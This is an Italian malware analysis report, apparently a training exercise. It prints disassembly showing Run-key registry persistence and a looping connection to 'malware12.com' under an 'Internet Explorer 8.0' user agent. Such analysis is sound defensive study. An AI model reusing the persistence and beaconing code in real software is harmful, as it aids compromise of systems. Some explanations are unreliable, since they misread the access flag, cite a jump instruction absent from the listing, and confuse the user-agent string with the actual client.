Report sull'Analisi del Malware

Data 12/02/24

Introduzione

Nel contesto sempre più complesso e interconnesso del mondo digitale, la minaccia rappresentata dai malware continua a crescere in termini di frequenza e sofisticazione. La comprensione approfondita del funzionamento interno di questi software dannosi è fondamentale per sviluppare strategie di difesa efficaci e proteggere i sistemi informatici da potenziali attacchi.

Il presente report si propone di condurre un'analisi dettagliata di un malware specifico, focalizzandosi su aspetti cruciali come la sua capacità di ottenere persistenza nel sistema, l'identificazione del client software utilizzato per la connessione ad Internet e l'URL al quale il malware tenta di connettersi per ricevere istruzioni o trasferire dati sensibili.

Descrizione dell'Analisi

```
00402867   push    2               ; samDesired
00402871   push    eax             ; ulOptions
00402872   push    offset SubKey   ; "Software\\Microsoft\\Windows\\CurrentVersion\\Run"
00402877   push    HKEY_LOCAL_MACHINE ; hKey
0040287C   call    esi ; RegOpenKeyExW
0040287E   test    eax, eax
00402880   jnz     short loc_4028C5
00402882
00402882 loc_402882:
00402882   lea     ecx, [esp+424h+Data]
00402886   push    ecx             ; lpString
00402887   mov     bl, 1
00402889   call    ds:lstrlenW
0040288F   lea     edx, [eax+eax+2]
00402893   push    edx             ; cbData
00402894   mov     edx, [esp+428h+hKey]
00402898   lea     eax, [esp+428h+Data]
0040289C   push    eax             ; lpData
0040289D   push    1               ; dwType
0040289F   push    0               ; Reserved
004028A1   lea     ecx, [esp+434h+ValueName]
004028A8   push    ecx             ; lpValueName
004028A9   push    edx             ; hKey
004028AA   call    ds:RegSetValueExW
```

L'analisi del malware ha rivelato diversi aspetti cruciali riguardanti il suo funzionamento e le sue azioni. Di seguito sono fornite risposte alle domande poste riguardanti il malware in esame.

1. Persistenza del Malware:

L'analisi del malware ha rivelato diversi aspetti cruciali riguardanti il suo funzionamento e le sue azioni. Il malware ottiene la persistenza nel sistema operativo mediante l'iniezione di codice maligno all'interno del registro di avvio del sistema.

Possiamo confermare questa teoria dall'analisi di alcune sezioni del programma in esame:

- push 2 ; samDesired: Questa istruzione inserisce il valore 2 nello stack della CPU, il quale potrebbe rappresentare il tipo di accesso desiderato per la chiave di registro che il malware sta cercando di aprire. Nel contesto della manipolazione delle chiavi di registro in Windows, il valore 2 potrebbe indicare il diritto di leggere i dati dalla chiave di registro.

- push eax ; ulOptions: Questa istruzione inserisce il contenuto del registro eax nello stack della CPU. Il contenuto di eax potrebbe essere un parametro aggiuntivo necessario per l'apertura della chiave di registro. Tuttavia, senza ulteriori dettagli sul contesto, non possiamo determinare con precisione quale sia il significato di questo valore.

- push offset SubKey ; "Software\Microsoft\Windows\\CurrentVersion\\Run": Questa istruzione inserisce l'indirizzo della stringa "Software\Microsoft\Windows\CurrentVersion\Run" nello stack della CPU. Questa stringa rappresenta il percorso della chiave di registro che il malware sta cercando di aprire. Nella gerarchia delle chiavi di registro di Windows, questa particolare chiave è comunemente utilizzata per configurare i programmi che devono essere avviati automaticamente all'avvio del sistema.

- push HKEY_LOCAL_MACHINE ; hKey: Questa istruzione inserisce il valore di HKEY_LOCAL_MACHINE nello stack della CPU. Questo valore rappresenta la radice della chiave di registro che il malware sta cercando di aprire. In Windows, HKEY_LOCAL_MACHINE è una delle chiavi di registro principali che contiene le impostazioni globali del sistema.

- call esi ; RegOpenKeyExW: Questa istruzione chiama la funzione RegOpenKeyExW attraverso l'indirizzo di memoria contenuto nel registro esi. Questa funzione è utilizzata per aprire una specifica chiave di registro. Qui, il malware sta tentando di aprire la chiave di registro specificata con i parametri precedentemente inseriti nello stack.

- test eax, eax: Questa istruzione esegue un test sul registro eax, confrontando il suo valore con zero. Il risultato di questo test influenza il flusso di controllo del programma.

Questo frammento di codice assembly sembra essere coinvolto nell'apertura di una specifica chiave di registro in Windows. Una serie di funzioni successive a questa sezione modificano dei parametri relativi a questa chiave di registro:

- L'istruzione push inserisce il valore specificato nello stack della CPU. Nei casi in cui push è seguito da parametri come lpString, cbData, lpData, dwType, Reserved, lpValueName e hKey, è probabile che stia preparando questi dati da passare come argomenti per la successiva chiamata di funzione.
- RegSetValueExW: Questa è una funzione API di Windows utilizzata per scrivere dati nella chiave di registro specificata. La W nel nome indica che è una versione della funzione che accetta parametri wide char (Unicode). La chiamata a RegSetValueExW indica che il malware sta scrivendo dati nella chiave di registro precedentemente aperta con i parametri appropriati che sono stati preparati tramite le istruzioni lea, push e mov.

In conclusione, sembra che dopo l'apertura della chiave di registro, il malware stia preparando i dati da scrivere nella chiave di registro utilizzando le istruzioni lea, push e mov, e quindi sta effettivamente scrivendo i dati utilizzando la funzione RegSetValueExW. Questo potrebbe essere parte del processo di configurazione della persistenza del malware nel sistema operativo.

Client Software per la Connessione ad Internet

```
.text:00401150 ; ╔═══════════════ S U B R O U T I N E ═══════════════════════════════════════
.text:00401150
.text:00401150
.text:00401150 ; DWORD __stdcall StartAddress(LPVOID)
.text:00401150 StartAddress    proc near               ; DATA XREF: sub_401040+EC↑o
.text:00401150                 push    esi
.text:00401151                 push    edi
.text:00401152                 push    0               ; dwFlags
.text:00401154                 push    0               ; lpszProxyBypass
.text:00401156                 push    0               ; lpszProxy
.text:00401158                 push    1               ; dwAccessType
.text:0040115A                 push    offset szAgent  ; "Internet Explorer 8.0"
.text:0040115F                 call    ds:InternetOpenA
.text:00401165                 mov     edi, ds:InternetOpenUrlA
.text:00401168                 mov     esi, eax
.text:0040116D
.text:0040116D loc_40116D:                             ; CODE XREF: StartAddress+30↓j
.text:0040116D                 push    0               ; dwContext
.text:0040116F                 push    80000000h       ; dwFlags
.text:00401174                 push    0               ; dwHeadersLength
.text:00401176                 push    0               ; lpszHeaders
.text:00401178                 push    offset szUrl    ; "http://www.malware12COM
.text:0040117D                 push    esi             ; hInternet
.text:0040117E                 call    edi ; InternetOpenUrlA
.text:00401180                 jmp     short loc_40116D
.text:00401180 StartAddress    endp
.text:00401180
```

Analizzando il codice fornitoci, possiamo chiarire che la firma DWORD_stdcall StartAddress(LPVOID) definisce una funzione di nome StartAddress che accetta un puntatore a un dato di tipo void come parametro e restituisce un valore a 32 bit non segnato (DWORD).

DWORD indica che il tipo di dato restituito dalla funzione è un doppia parola (double word), che è un tipo di dato a 32 bit non segnato.

_stdcall è un tipo di convenzione di chiamata della funzione che specifica come i parametri vengono passati alla funzione e come viene gestita la pulizia dello stack dopo la chiamata. La convenzione _stdcall è comunemente utilizzata per le funzioni di Windows API.

StartAddress è il nome della funzione.

(LPVOID) è il tipo di parametro che accetta la funzione. LPVOID è un tipo di puntatore a un dato di tipo void.

La funzione StartAddress con i parametri dwFlags, lpszProxyBypass, lpszProxy e dwAccessType sembrano essere funzioni che potrebbero essere utilizzate per configurare le impostazioni di connessione a Internet.

Infatti, nelle righe successive diventa chiaro che il programma sta utilizzando la libreria WinINet di Windows per stabilire una connessione a Internet e aprire un URL specifico.

Analisi delle seguenti funzioni:

push offset szAgent ; "Internet Explorer 8.0": Questa istruzione push mette l'indirizzo dell'offset della stringa "Internet Explorer 8.0" nello stack della CPU. Questo probabilmente indica l'agente utente (user agent) che il programma utilizzerà durante la connessione a Internet.

call ds:InternetOpenA: Come descritto in precedenza, questa istruzione call chiama la funzione InternetOpenA dall'API WinINet di Windows. Questa funzione è utilizzata per inizializzare una sessione di accesso a Internet. Passando l'agente utente come parametro, il programma sta preparando l'ambiente per la successiva apertura dell'URL.

mov edi, ds:InternetOpenUrlA: Dopo aver inizializzato la sessione di accesso a Internet, il programma memorizza l'indirizzo della funzione InternetOpenUrlA nella destinazione edi. Questa funzione è utilizzata per aprire un URL specifico all'interno della sessione di accesso a Internet appena creata.

mov esi, eax: Questa istruzione mov copia il valore contenuto nel registro eax nel registro esi. Poiché eax è comunemente utilizzato per contenere valori di ritorno da funzioni, questo suggerisce che il valore restituito da InternetOpenA (che potrebbe essere un handler o un puntatore a una sessione di accesso a Internet) viene copiato in esi per essere utilizzato successivamente.

URL di Connessione del Malware

Dall’analisi della seconda sezione del codice abbiamo identificato una sequenza di istruzioni sembra configurare i parametri necessari per aprire un URL specifico utilizzando la funzione InternetOpenUrlA, consentendo al programma di stabilire una connessione a "http://www.malware12.com".

Inoltre, la funzione push esi ; hInternet questa istruzione push inserisce il valore contenuto nel registro esi nello stack della CPU, e questo potrebbe rappresentare l'handle dell'oggetto di sessione di Internet creato precedentemente.

Nella penultima riga di questa sezione troviamo la funzione jnp short loc_401160. Questa istruzione jnp esegue un salto condizionale alla posizione specificata loc_401160 solo se non si verificano flag di parità dopo un'operazione precedente. Questo può essere utilizzato per eseguire un ciclo o ripetere un'operazione. Infatti la posizione loc_40116D è posta alla fine della sezione precedente ed apre la sezione relativa all’Url.

In conclusione, possiamo affermare che nella prima sezione, il programma specifica l'agente utente come "Internet Explorer 8.0" e l'utilizzo delle funzioni dell'API WinINet di Windows, che sono comunemente associate a Internet Explorer, suggeriscono che il programma sia progettato per interagire con Internet Explorer per accedere a risorse online.

Nella seconda parte invece, la sequenza di istruzioni sembra configurare i parametri necessari per aprire un URL specifico utilizzando la funzione InternetOpenUrlA, consentendo al programma di stabilire una connessione a "http://www.malware12.com".

Conclusioni

L'agente utente "Internet Explorer 8.0" è un'indicazione diretta che il programma intende identificarsi come Internet Explorer 8.0 quando effettua richieste HTTP. Inoltre, l'uso delle funzioni come InternetOpenA e InternetOpenUrlA, che fanno parte dell'API WinINet utilizzata da Internet Explorer per gestire le operazioni di rete, conferma ulteriormente questa ipotesi.

Quindi, basandoci sul codice e sul contesto fornito, è ragionevole concludere che il programma stia utilizzando Internet Explorer 8.0 come client per le connessioni a Internet, ed una volta stabilita la connessione tende a connettersi verso l’Url malevolo. La connessione verso l’Url potrebbe essere ripetuta in continuo, questa è un ipotesi dovuta alla presenza del ciclo jnp nelle ultime righe del codice che richiama alla posizione di inizio della configurazione dei parametri relativi all’Url.